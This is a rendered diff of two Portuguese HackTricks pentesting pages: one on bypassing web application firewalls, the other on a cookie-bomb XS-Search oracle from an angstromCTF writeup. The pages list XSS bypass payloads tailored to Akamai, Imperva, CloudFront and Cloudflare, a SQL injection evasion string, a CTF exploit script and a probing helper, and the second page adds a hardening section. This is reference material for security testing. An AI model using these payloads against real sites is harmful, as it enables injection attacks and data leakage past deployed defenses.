|
||||||
Por exemplo, enviando a seguinte solicitação com uma injeção SQL no cabeçalho X-Query:
|
Por exemplo, enviando a seguinte request com uma SQL injection no cabeçalho X-Query:
|
||||||
```http
|
```http
|
||||||
GET / HTTP/1.1\r\n
|
GET / HTTP/1.1\r\n
|
||||||
Host: target.com\r\n
|
Host: target.com\r\n
|
||||||
@ -96,49 +96,50 @@ X-Query: Value\r\n
|
|||||||
Connection: close\r\n
|
Connection: close\r\n
|
||||||
\r\n
|
\r\n
|
||||||
```
|
```
|
||||||
Foi possível contornar o AWS WAF porque ele não entendia que a próxima linha faz parte do valor do cabeçalho, enquanto o servidor NODEJS entendia (isso foi corrigido).
|
Era possível contornar o AWS WAF porque ele não entendia que a linha seguinte fazia parte do valor do cabeçalho enquanto o servidor NODEJS entendia (isso foi corrigido).
|
||||||
|
|
||||||
## Contornos genéricos de WAF
|
## Bypasses genéricos de WAF
|
||||||
|
|
||||||
### Limites de Tamanho de Requisição
|
### Limites de tamanho de requisição
|
||||||
|
|
||||||
Comumente, os WAFs têm um certo limite de comprimento de requisições a serem verificadas e, se uma requisição POST/PUT/PATCH exceder esse limite, o WAF não verificará a requisição.
|
Normalmente WAFs têm um certo limite de comprimento das requisições a serem verificadas e se uma requisição POST/PUT/PATCH ultrapassar esse limite, o WAF não verificará a requisição.
|
||||||
|
|
||||||
- Para o AWS WAF, você pode [**verificar a documentação**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||||
|
|
||||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamanho máximo de um corpo de requisição web que pode ser inspecionado para proteções do Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamanho máximo de um corpo de requisição web que pode ser inspecionado para proteções do CloudFront, API Gateway, Amazon Cognito, App Runner e Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamanho máximo do corpo de uma requisição web que pode ser inspecionado para as proteções do Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamanho máximo do corpo de uma requisição web que pode ser inspecionado para as proteções do CloudFront, API Gateway, Amazon Cognito, App Runner, e Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
||||||
|
|
||||||
- Da [**documentação do Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||||
|
|
||||||
Firewalls de Aplicação Web mais antigos com Core Rule Set 3.1 (ou inferior) permitem mensagens maiores que **128 KB** desativando a inspeção do corpo da requisição, mas essas mensagens não serão verificadas quanto a vulnerabilidades. Para versões mais novas (Core Rule Set 3.2 ou mais recentes), o mesmo pode ser feito desativando o limite máximo do corpo da requisição. Quando uma requisição excede o limite de tamanho:
|
Web Application Firewalls mais antigos com Core Rule Set 3.1 (ou inferior) permitem mensagens maiores que **128 KB** ao desligar a inspeção do corpo da requisição, mas essas mensagens não serão verificadas por vulnerabilidades. Para versões mais novas (Core Rule Set 3.2 ou superior), o mesmo pode ser feito desabilitando o limite máximo do corpo da requisição. Quando uma requisição excede o limite de tamanho:
|
||||||
|
|
||||||
Se **modo de prevenção**: Registra e bloqueia a requisição.\
|
Se **modo de prevenção**: Registra e bloqueia a requisição.\
|
||||||
Se **modo de detecção**: Inspeciona até o limite, ignora o restante e registra se o `Content-Length` exceder o limite.
|
Se **modo de detecção**: Inspeciona até o limite, ignora o resto e registra se o `Content-Length` exceder o limite.
|
||||||
|
|
||||||
- Da [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||||
|
|
||||||
Por padrão, o WAF inspeciona apenas os primeiros 8KB de uma requisição. Ele pode aumentar o limite para até 128KB adicionando Metadados Avançados.
|
Por padrão, o WAF inspeciona apenas os primeiros 8KB de uma requisição. Pode aumentar o limite até 128KB adicionando Advanced Metadata.
|
||||||
|
|
||||||
- Da [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||||
|
|
||||||
Até 128KB.
|
Até 128KB.
|
||||||
|
|
||||||
### Lacunas de inspeção de ativos estáticos (.js GETs)
|
### Brechas na inspeção de assets estáticos (.js GETs)
|
||||||
|
|
||||||
Alguns stacks de CDN/WAF aplicam inspeção de conteúdo fraca ou nenhuma a requisições GET para ativos estáticos (por exemplo, caminhos que terminam com `.js`), enquanto ainda aplicam regras globais como limitação de taxa e reputação de IP. Combinado com o auto-cache de extensões estáticas, isso pode ser abusado para entregar ou semear variantes maliciosas que afetam as respostas HTML subsequentes.
|
Algumas pilhas CDN/WAF aplicam inspeção de conteúdo fraca ou nenhuma em requisições GET para assets estáticos (por exemplo caminhos terminando com `.js`), enquanto ainda aplicam regras globais como rate limiting e reputação de IP. Combinado com auto-caching de extensões estáticas, isso pode ser abusado para entregar ou semear variantes maliciosas que afetam respostas HTML subsequentes.
|
||||||
|
|
||||||
Casos de uso práticos:
|
Casos de uso práticos:
|
||||||
|
|
||||||
- Enviar payloads em cabeçalhos não confiáveis (por exemplo, `User-Agent`) em um GET para um caminho `.js` para evitar a inspeção de conteúdo, e então imediatamente solicitar o HTML principal para influenciar a variante em cache.
|
- Enviar payloads em headers não confiáveis (por exemplo, `User-Agent`) em um GET para um path `.js` para evitar inspeção de conteúdo, e então solicitar imediatamente o HTML principal para influenciar a variante em cache.
|
||||||
- Usar um IP fresco/limpo; uma vez que um IP é sinalizado, mudanças de roteamento podem tornar a técnica não confiável.
|
- Usar um IP novo/limpo; uma vez que um IP é sinalizado, mudanças de roteamento podem tornar a técnica pouco confiável.
|
||||||
- No Burp Repeater, usar "Enviar grupo em paralelo" (estilo de pacote único) para correr as duas requisições (`.js` e depois HTML) pelo mesmo caminho de front-end.
|
- No Burp Repeater, usar "Send group in parallel" (estilo single-packet) para correr as duas requisições (`.js` então HTML) pela mesma rota de front-end.
|
||||||
|
|
||||||
Isso combina bem com o envenenamento de cache de reflexão de cabeçalho. Veja:
|
Isso combina bem com header-reflection cache poisoning. Veja:
|
||||||
|
|
||||||
- {{#ref}}
|
{{#ref}}
|
||||||
cache-deception/README.md
|
cache-deception/README.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
- [Como encontrei uma tomada de conta 0-Click em um BBP público e a utilizei para acessar funcionalidades de nível Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
|
||||||
|
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||||
|
|
||||||
### Ofuscação <a href="#ip-rotation" id="ip-rotation"></a>
|
### Ofuscação <a href="#ip-rotation" id="ip-rotation"></a>
|
||||||
```bash
|
```bash
|
||||||
@ -150,7 +151,7 @@ cache-deception/README.md
|
|||||||
```
|
```
|
||||||
### Compatibilidade Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
|
### Compatibilidade Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||||
|
|
||||||
Dependendo da implementação da normalização Unicode (mais informações [aqui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), caracteres que compartilham compatibilidade Unicode podem ser capazes de contornar o WAF e executar como a carga útil pretendida. Caracteres compatíveis podem ser encontrados [aqui](https://www.compart.com/en/unicode).
|
Dependendo da implementação da normalização Unicode (mais informações [aqui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), caracteres que compartilham compatibilidade Unicode podem contornar o WAF e executar como o payload pretendido. Caracteres compatíveis podem ser encontrados [aqui](https://www.compart.com/en/unicode).
|
||||||
|
|
||||||
#### Exemplo <a href="#example" id="example"></a>
|
#### Exemplo <a href="#example" id="example"></a>
|
||||||
```bash
|
```bash
|
||||||
@ -160,24 +161,24 @@ Dependendo da implementação da normalização Unicode (mais informações [aqu
|
|||||||
```
|
```
|
||||||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
||||||
|
|
||||||
Como mencionado em [**este post do blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), para contornar WAFs capazes de manter um contexto da entrada do usuário, poderíamos abusar das técnicas do WAF para realmente normalizar a entrada dos usuários.
|
Como mencionado em [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), para contornar WAFs capazes de manter um contexto da entrada do usuário podemos abusar das técnicas do WAF para, na verdade, normalizar a entrada do usuário.
|
||||||
|
|
||||||
Por exemplo, no post é mencionado que **Akamai decodificou uma entrada de usuário 10 vezes**. Portanto, algo como `<input/%2525252525252525253e/onfocus` será visto pela Akamai como `<input/>/onfocus`, o que **pode fazer com que pense que está tudo bem, pois a tag está fechada**. No entanto, enquanto a aplicação não decodificar a entrada 10 vezes, a vítima verá algo como `<input/%25252525252525253e/onfocus`, que **ainda é válido para um ataque XSS**.
|
Por exemplo, no post é mencionado que **Akamai URL decoded a user input 10 times**. Portanto algo como `<input/%2525252525252525253e/onfocus` será visto pela Akamai como `<input/>/onfocus` que **pode achar que está ok pois a tag está fechada**. No entanto, desde que a aplicação não faça URL decode da entrada 10 vezes, a vítima verá algo como `<input/%25252525252525253e/onfocus` que é **ainda válido para um ataque XSS**.
|
||||||
|
|
||||||
Portanto, isso permite **ocultar payloads em componentes codificados** que o WAF irá decodificar e interpretar, enquanto a vítima não.
|
Portanto, isso permite **esconder payloads em componentes codificados** que o WAF irá decodificar e interpretar enquanto a vítima não.
|
||||||
|
|
||||||
Além disso, isso pode ser feito não apenas com payloads codificados em URL, mas também com outras codificações, como unicode, hex, octal...
|
Além disso, isso pode ser feito não apenas com payloads URL encoded, mas também com outras encodings tais como unicode, hex, octal...
|
||||||
|
|
||||||
No post, os seguintes bypasses finais são sugeridos:
|
No post os seguintes bypasses finais são sugeridos:
|
||||||
|
|
||||||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||||||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||||
|
|
||||||
Também é mencionado que, dependendo de **como alguns WAFs entendem o contexto** da entrada do usuário, pode ser possível abusar disso. O exemplo proposto no blog é que a Akamai permitiu colocar qualquer coisa entre `/*` e `*/` (potencialmente porque isso é comumente usado como comentários). Portanto, uma SQL injection como `/*'or sleep(5)-- -*/` não será capturada e será válida, pois `/*` é a string inicial da injeção e `*/` é comentada.
|
Também é mencionado que, dependendo de **como alguns WAFs entendem o contexto** da entrada do usuário, pode ser possível abusar disso. O exemplo proposto no blog é que Akamai permitia colocar qualquer coisa entre `/*` e `*/` (potencialmente porque isso é comumente usado como comentários). Portanto, um SQLinjection como `/*'or sleep(5)-- -*/` não seria detectado e seria válido, já que `/*` é a string inicial da injeção e `*/` é comentada.
|
||||||
|
|
||||||
Esses tipos de problemas de contexto também podem ser usados para **abusar de outras vulnerabilidades além da que se espera ser explorada pelo WAF** (por exemplo, isso também poderia ser usado para explorar um XSS).
|
Esse tipo de problema de contexto também pode ser usado para **abusar outras vulnerabilidades além da que o WAF espera proteger** (por exemplo, isso também poderia ser usado para explorar um XSS).
|
||||||
|
|
||||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||||
|
|
||||||
@ -188,15 +189,15 @@ h2c-smuggling.md
|
|||||||
|
|
||||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||||
|
|
||||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Gere uma URL de gateway API para ser usada com ffuf
|
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Gera uma URL de API gateway para ser usada com ffuf
|
||||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Semelhante ao fireprox
|
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar ao fireprox
|
||||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin do Burp Suite que usa IPs de gateway API
|
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin do Burp Suite que utiliza IPs de API gateway
|
||||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Um número dinamicamente determinado de instâncias de contêiner é ativado com base no tamanho do arquivo de entrada e no fator de divisão, com a entrada dividida em partes para execução paralela, como 100 instâncias processando 100 partes de um arquivo de entrada de 10.000 linhas com um fator de divisão de 100 linhas.
|
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Um número dinamicamente determinado de instâncias de container é ativado com base no tamanho do arquivo de entrada e no fator de divisão, com a entrada dividida em chunks para execução paralela — por exemplo, 100 instâncias processando 100 chunks de um arquivo de 10.000 linhas com um split factor de 100 linhas.
|
||||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||||
|
|
||||||
### Regex Bypasses
|
### Regex Bypasses
|
||||||
|
|
||||||
Diferentes técnicas podem ser usadas para contornar os filtros regex nos firewalls. Exemplos incluem alternar maiúsculas e minúsculas, adicionar quebras de linha e codificar payloads. Recursos para os vários bypasses podem ser encontrados em [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Os exemplos abaixo foram retirados de [este artigo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
Diferentes técnicas podem ser usadas para contornar os filtros regex nos firewalls. Exemplos incluem alternância de case, adição de quebras de linha e encoding de payloads. Recursos para os vários bypasses podem ser encontrados em [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Os exemplos abaixo foram retirados [deste artigo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||||
```bash
|
```bash
|
||||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||||
@ -219,7 +220,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
|||||||
```
|
```
|
||||||
## Ferramentas
|
## Ferramentas
|
||||||
|
|
||||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin do Burp para adicionar dados aleatórios às requisições para contornar WAFs por comprimento
|
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin do Burp para adicionar dados inúteis às requisições e contornar WAFs manipulando o comprimento
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
@ -227,7 +228,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
|||||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||||
- [Como encontrei uma tomada de conta 0-Click em um BBP público e a utilizei para acessar funcionalidades de nível Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -2,7 +2,24 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
O seguinte **script** retirado de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) está explorando uma funcionalidade que permite ao usuário **inserir qualquer quantidade de cookies**, e então carregar um arquivo como um script sabendo que a verdadeira resposta será maior do que a falsa e então. Se bem-sucedido, a resposta é um redirecionamento com uma URL resultante mais longa, **muito grande para ser processada pelo servidor, então retorna um código de status http de erro**. Se a busca falhar, nada acontecerá porque a URL é curta.
|
This technique combines:
|
||||||
|
- Cookie bombing: preencher o navegador da vítima com muitos/grandes cookies para a origem alvo de modo que requisições subsequentes atinjam limites do servidor/requisição (tamanho do header da requisição, tamanho da URL em redirects, etc.).
|
||||||
|
- Error-event oracle: sondar um endpoint cross-origin com um <script> (ou outro subresource) e distinguir estados com onload vs onerror.
|
||||||
|
|
||||||
|
High level idea
|
||||||
|
- Encontre um endpoint alvo cujo comportamento difira entre dois estados que você quer testar (por exemplo, busca “hit” vs “miss”).
|
||||||
|
- Assegure que o caminho “hit” irá disparar uma cadeia de redirects pesada ou uma URL longa enquanto o caminho “miss” permanece curto. Infle os cabeçalhos da requisição usando muitos cookies de forma que apenas o caminho “hit” faça o servidor falhar com um erro HTTP (ex.: 431/414/400). O erro aciona o onerror e se torna um oráculo para XS-Search.
|
||||||
|
|
||||||
|
When does this work
|
||||||
|
- Você consegue fazer o navegador da vítima enviar cookies ao alvo (ex.: cookies com SameSite=None ou você pode defini-los em um contexto first-party via um popup window.open).
|
||||||
|
- Existe uma funcionalidade no app que você pode abusar para definir cookies arbitrários (ex.: endpoints “save preference” que transformam nomes/valores controlados em Set-Cookie) ou para criar redirects pós-auth que incorporam dados controlados pelo atacante na URL.
|
||||||
|
- O servidor reage de forma diferente nos dois estados e, com cabeçalhos/URL inflados, um dos estados ultrapassa um limite e retorna uma resposta de erro que dispara onerror.
|
||||||
|
|
||||||
|
Note on server errors used as the oracle
|
||||||
|
- 431 Request Header Fields Too Large é comumente retornado quando cookies inflacionam os cabeçalhos da requisição; 414 URI Too Long ou um 400 específico do servidor podem ser retornados para alvos de requisição longos. Qualquer um desses resulta em um carregamento de subresource falho e dispara onerror. [MDN documenta 431 e causas típicas como cookies excessivos.]()
|
||||||
|
|
||||||
|
Practical example (angstromCTF 2022)
|
||||||
|
O script a seguir (de um writeup público) abusa de uma funcionalidade que permite ao atacante inserir cookies arbitrários, depois carrega um endpoint de busca cross-origin como um script. Quando a query está correta, o servidor realiza um redirect que, junto com o inchaço de cookies, excede os limites do servidor e retorna um status de erro, então script.onerror é disparado; caso contrário nada acontece.
|
||||||
```html
|
```html
|
||||||
<>'";
|
<>'";
|
||||||
<form action="https://sustenance.web.actf.co/s" method="POST">
|
<form action="https://sustenance.web.actf.co/s" method="POST">
|
||||||
@ -57,4 +74,53 @@ break
|
|||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
|
Por que o popup (window.open)?
|
||||||
|
- Navegadores modernos bloqueiam cada vez mais third-party cookies. Abrir um top-level window para o target faz com que os cookies sejam first-party, então respostas Set-Cookie do target vão persistir, permitindo a etapa cookie-bomb mesmo com restrições a third-party cookies.
|
||||||
|
|
||||||
|
Generic probing helper
|
||||||
|
Se você já tem uma maneira de definir muitos cookies no target origin (first-party), pode reutilizar este minimal oracle contra qualquer endpoint cujo success/failure leve a diferentes network outcomes (status/MIME/redirect):
|
||||||
|
```js
|
||||||
|
function probeError(url) {
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
const s = document.createElement('script');
|
||||||
|
s.src = url;
|
||||||
|
s.onload = () => resolve(false); // loaded successfully
|
||||||
|
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
|
||||||
|
document.head.appendChild(s);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Dicas para construir o oracle
|
||||||
|
- Force o estado “positivo” a ser mais pesado: encadeie um redirect extra somente quando o predicado for verdadeiro, ou faça com que a URL de redirect reflita entrada de usuário sem limites para que ela cresça com o prefixo adivinhado.
|
||||||
|
- Inflar cabeçalhos: repita cookie bombing até que um erro consistente seja observado no caminho “pesado”. Servidores comumente limitam o tamanho dos headers e vão falhar mais cedo quando muitos cookies estão presentes.
|
||||||
|
- Estabilizar: dispare múltiplas operações paralelas de set de cookies e sonde repetidamente para fazer a média do ruído de timing e cache.
|
||||||
|
|
||||||
|
Related XS-Search tricks
|
||||||
|
- URL length based oracles (no cookies needed) can be combined or used instead when you can force a very long request target:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
url-max-length-client-side.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
Defesas e endurecimento
|
||||||
|
- Faça respostas de sucesso/falha indistinguíveis:
|
||||||
|
- Evite redirects condicionais ou grandes diferenças no tamanho da resposta entre estados. Retorne o mesmo status, mesmo content type e comprimento de corpo similar independentemente do estado.
|
||||||
|
- Bloqueie probes de subresource cross-site:
|
||||||
|
- SameSite cookies: set sensitive cookies to SameSite=Lax or Strict so subresource requests like <script src> don’t carry them; prefer Strict for auth tokens when possible.
|
||||||
|
- Fetch Metadata: enforce a Resource Isolation Policy to reject cross-site subresource loads (e.g., if Sec-Fetch-Site != same-origin/same-site).
|
||||||
|
- Cross-Origin-Resource-Policy (CORP): set CORP: same-origin (or at least same-site) for endpoints not meant to be embedded as cross-origin subresources.
|
||||||
|
- X-Content-Type-Options: nosniff and correct Content-Type on JSON/HTML endpoints to avoid load-as-script quirks.
|
||||||
|
- Reduza amplificação de header/URL:
|
||||||
|
- Limite o número/tamanho de cookies definidos; sanitize funcionalidades que transformam campos arbitrários de formulário em Set-Cookie.
|
||||||
|
- Normalize ou trunque dados refletidos em redirects; evite embutir strings longas controladas pelo atacante em Location URLs.
|
||||||
|
- Mantenha limites do servidor consistentes e falhe de forma uniforme (evite páginas de erro especiais apenas para um ramo).
|
||||||
|
|
||||||
|
Notas
|
||||||
|
- Esta classe de ataques é discutida amplamente como “Error Events” XS-Leaks. O passo de cookie-bomb é apenas uma forma conveniente de empurrar apenas um ramo além dos limites do servidor, produzindo um boolean oracle confiável.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
|
||||||
|
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user